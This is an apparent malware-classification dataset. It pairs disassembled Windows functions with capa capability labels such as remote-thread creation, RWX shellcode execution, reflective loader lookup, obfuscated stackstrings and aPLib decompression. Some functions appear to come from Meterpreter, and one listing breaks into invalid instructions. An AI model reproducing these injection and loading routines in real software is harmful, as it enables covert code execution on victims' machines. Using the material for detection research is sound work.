joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10077cff
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
xor esi, esi
push esi
push 4
push dword [ebp + 0x1c]
mov dword [ebp - 8], esi
push dword [ebp + 0x18]
push 0x100000
push dword [ebp + 0x10]
call fcn.10078038
mov edi, eax
add esp, 0x18
mov dword [ebp - 4], edi
test edi, edi
jne 0x10077d65
cmp dword [ebp + 0x14], 2
jne 0x10077dd5
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x10]
call fcn.10077ddf
add esp, 0x10
test eax, eax
je 0x10077d62
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 4]
jmp 0x10077db9
mov edi, dword [ebp - 4]
cmp dword [ebp + 8], esi
je 0x10077da7
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x10077da6
push dword [ebp - 8]
push 0x20196
push ebx
call sym.metsrv.dll_packet_add_tlv_uint
push esi
push 0x20004
push ebx
call sym.metsrv.dll_packet_add_tlv_uint
mov ecx, dword [ebp + 8]
push esi
push ebx
push ecx
mov eax, dword [ecx + 0xc]
call dword [eax + 0x1c]
add esp, 0x24
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x10077dbb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test edi, edi
je 0x10077dc6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10077dc6
Function at 0x10077ddf
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push esi
push 0x90
xor esi, esi
lea eax, [ebp - 0x94]
push esi
push eax
call fcn.10078750
add esp, 0xc
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10077e28
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10077f0b
cmp dword [ebp - 0x94], 5
jne 0x10077e44
cmp dword [ebp - 0x90], 2
jne 0x10077e44
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10077e1b
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x3000
push 0x40
push ebx
push 0x4c
push 0
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x10077e6e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10077f09
push 0x40
push ebx
push 0x149
push 0
call edi
mov edi, eax
test edi, edi
jne 0x10077e8a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10077ee9
push 0x4c
push 0x100ce390
push dword [ebp - 4]
call fcn.10078a50
push 0x129
push 0x100ce3e0
push edi
call fcn.10078a50
mov eax, dword [ebp + 8]
lea ebx, [edi + 0x129]
and dword [ebx + 0x18], esi
add esp, 0x18
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
mov eax, dword [ebp + 0x10]
push ebx
push edi
mov dword [ebx + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10077ed9
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10077e80
mov ecx, dword [ebx + 0x18]
test ecx, ecx
jne 0x10077ee4
push 6
jmp 0x10077ed1
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x4000
push 0
push dword [ebp - 4]
call ebx
test edi, edi
je 0x10077f09
push 0x4000
push 0
push edi
call ebx
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10078038
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x1c], 0
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
lea edi, [ebp - 4]
cmovne edi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x100780f1
mov eax, dword [0x100d33c4]
mov dword [ebp + 0x1c], ebx
cmp dword [0x100d33c8], ebx
jne 0x100780ac
test eax, eax
jne 0x100780a2
push str.RtlCreateUserThread
push 0x100b6470
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100d33c4], eax
mov dword [0x100d33c8], 1
test eax, eax
je 0x100780e9
push ebx
lea ecx, [ebp + 0x1c]
shr esi, 2
push ecx
push dword [ebp + 0x14]
and esi, 1
push dword [ebp + 0x10]
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp + 8]
call eax
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x100780f1
test edi, edi
je 0x100780f1
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [edi], eax
jmp 0x100780f1
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100780fb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x18
push 0x100bace0
call fcn.10079120
xor esi, esi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10078117
xor eax, eax
jmp 0x100781ab
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp + 8], eax
mov edx, dword [ebx + 0x20]
add edx, edi
mov dword [ebp - 0x20], edx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0xc]
test ecx, 0xffff0000
jne 0x10078154
movzx eax, cx
sub eax, dword [ebx + 0x10]
jmp 0x1007817b
mov ebx, dword [ebx + 0x18]
mov dword [ebp - 0x28], ebx
mov eax, ebx
dec ebx
mov dword [ebp - 0x28], ebx
test eax, eax
je 0x100781a5
mov eax, dword [edx]
add eax, edi
push ecx
push eax
call fcn.10078890
pop ecx
pop ecx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x10078185
movzx eax, word [eax]
mov esi, dword [ebp + 8]
mov esi, dword [esi + eax*4]
add esi, edi
jmp 0x100781a2
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
jmp 0x1007815a
mov dword [ebp - 0x24], esi
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.1007915b
ret 8
Function at 0x100781b3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
mov edx, 0x10b
mov eax, dword [esi + 0x3c]
movzx ecx, word [eax + esi + 0x18]
cmp cx, dx
je 0x100781d6
mov eax, 0x20b
xor eax, eax
jmp 0x1007823a
push ebx
push edi
push esi
push dword [eax + esi + 0x78]
call fcn.10078392
push esi
lea ebx, [esi + eax]
push dword [ebx + 0x20]
mov dword [ebp + 8], ebx
call fcn.10078392
push esi
push dword [ebx + 0x24]
lea edi, [esi + eax]
call fcn.10078392
add esp, 0x18
lea ebx, [esi + eax]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x18]
jmp 0x10078234
push esi
push dword [edi]
dec eax
mov dword [ebp - 4], eax
call fcn.10078392
add eax, esi
push str.ReflectiveLoader
push eax
call fcn.10079c60
add esp, 0x10
test eax, eax
jne 0x1007823f
mov eax, dword [ebp - 4]
add edi, 4
add ebx, 2
test eax, eax
jne 0x1007820b
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
push esi
push dword [eax + 0x1c]
call fcn.10078392
pop ecx
pop ecx
movzx ecx, word [ebx]
add eax, esi
push dword [eax + ecx*4]
call fcn.10078392
pop ecx
pop ecx
jmp 0x10078238

Function at 0x1007825f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x14
push 0x100bad00
call fcn.10079120
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x100782ed
cmp dword [ebp + 0xc], eax
je 0x100782ed
mov dword [ebp - 4], eax
push esi
call fcn.100781b3
pop ecx
test eax, eax
je 0x100782d5
add eax, esi
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100782d5
call dword [ebp + 8]
test eax, eax
je 0x100782c4
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x100782ef
xor eax, eax
call fcn.1007915b
ret 8
Function at 0x1008b4a1
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100ce750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [0x100cfbb0]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1008488c
mov dword [ebp - 0x14], eax
cmp dword [0x100d4274], esi
jne 0x1008b594
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1008b521
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1008b674
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1008b674
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1008b674
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x100d4274], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x100d4278], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100b8228
push edi
mov dword [0x100d427c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x100d4284], eax
test eax, eax
je 0x1008b591
push 0x100b8244
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x100d4280], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1008b5b9
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1008b5ac
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1008b5ce
push 4
pop eax
jmp 0x1008b676
cmp dword [ebp - 0x14], esi
je 0x1008b5ce
push dword [0x100d4274]
call dword [0x100cfbb4]
push 3
jmp 0x1008b5b3
mov eax, dword [0x100d4280]
mov ebx, dword [0x100cfbb4]
cmp eax, edi
je 0x1008b62c
cmp dword [0x100d4284], edi
je 0x1008b62c
push eax
call ebx
push dword [0x100d4284]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1008b62c
test eax, eax
je 0x1008b62c
call ecx
test eax, eax
je 0x1008b621
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1008b621
test byte [ebp - 8], 1
jne 0x1008b62c
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1008b65c
mov eax, dword [0x100d4278]
cmp eax, edi
je 0x1008b659
push eax
call ebx
test eax, eax
je 0x1008b659
call eax
mov esi, eax
test esi, esi
je 0x1008b659
mov eax, dword [0x100d427c]
cmp eax, edi
je 0x1008b659
push eax
call ebx
test eax, eax
je 0x1008b659
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x100d4274]
call ebx
test eax, eax
je 0x1008b674
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1008b676
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007ba40
mov esp, ebp
pop ebp
ret
Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0

Function at 0x401010
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x218
push ebx
push ebp
push esi
push edi
push str.in_Co_GetRegValueNum___n
call fcn.00401000
mov esi, dword [esp + 0x234]
mov eax, dword [esp + 0x23c]
mov edx, dword [esp + 0x230]
add esp, 4
lea ecx, [esp + 0x10]
mov dword [eax], 0
push ecx
push 0x20019
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40108d
push 0
push str.RegOpenKeyEx___error
call fcn.00401000
push 0
push esi
call fcn.00401000
mov eax, dword [esp + 0x244]
push 0
push eax
call fcn.00401000
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
xor ebx, ebx
mov eax, 0x104
mov ecx, 0x41
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x124]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x124]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push 0
lea edx, [esp + 0x30]
push ecx
push edx
push ebx
push eax
mov dword [esp + 0x34], 0
call ebp
mov esi, eax
cmp esi, 0x103
je 0x40110f
mov ecx, dword [esp + 0x234]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x401134
inc ebx
cmp esi, 0x103
jne 0x401095
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218
ret
lea eax, [esp + 0x124]
push eax
call fcn.00401170
mov ecx, dword [esp + 0x23c]
mov edx, dword [esp + 0x14]
add esp, 4
mov dword [ecx], eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x218
ret

Function at 0x4011a0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
push str.in_Co_SetCreateValueNum___n
call fcn.00401000
add esp, 4
mov edx, dword [esp + 0x10]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
mov eax, dword [esp + 0x10]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4011e1
xor eax, eax
add esp, 8
ret
mov edx, dword [esp + 0x14]
mov eax, dword [esp]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401211
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 8
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret
Function at 0x4436e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x58]
push eax
call fcn.00443440
dec dword [ebx + 0x56500c75]
push dword [ebp + 8]
call fcn.004433f5
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x44371e
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00443430
lodsd eax, dword [esi]
xabort 0x6c
lea eax, [ebp - 0x40]
push eax
call fcn.00443440
push eax
push esi
push dword [ebp + 8]
call fcn.004433f5
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00443430
scasd eax, dword es:[edi]
cwde
pushal
js 0x443725
inc ebp
call 0x512c9526
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00443440
push eax
push esi
push dword [ebp + 8]
call fcn.004433f5
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00443440
push eax
push esi
push dword [ebp + 8]
call fcn.004433f5
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00443440
push eax
push esi
push dword [ebp + 8]
call fcn.004433f5
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00443430
ror ecx, 7
and al, 0x88
popfd
jl 0x4438b5
invalid
invalid
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4a5008], 0x8088405
inc edx
mov dword [ebx + 0x4a5008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cd64
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cd95
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cd7d
add dl, dl
jne 0x41cda0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cdf1
xor eax, eax
add dl, dl
jne 0x41cdad
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41ce8e
add dl, dl
jne 0x41cdbc
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdc7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdd2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cddd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cde7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cd8c
mov eax, 1
add dl, dl
jne 0x41cdff
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ce0a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cdf6
sub eax, ebx
mov ebx, 1
jne 0x41ce3d
mov ecx, 1
add dl, dl
jne 0x41ce23
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce2e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce1a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41ce54
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce5f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce4b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41ceaf
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cd8c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41e5a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x48ca63
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e655
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e63e
test esi, esi
jbe 0x41e655
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088e4
test eax, eax
jne 0x41e630
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e655
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e60d
jmp 0x41e655
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e655
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48ca6a
ret
Function at 0x41eec4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x48d473
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eeff
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41ef18
lea eax, [ebp - 0x10]
mov edx, dword [0x4a72a4]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41ef2b
lea eax, [ebp - 0x10]
mov edx, dword [0x4a72a4]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41ef37
adc edx, 0
mov edx, dword [edx*4 + 0x4a610c]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41f045
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41f038
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41f038
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41f038
cmp dx, 0x150
ja 0x41f038
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41f038
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41f05d
inc ebx
cmp ebx, 0x19
jne 0x41eef1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48d47a
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret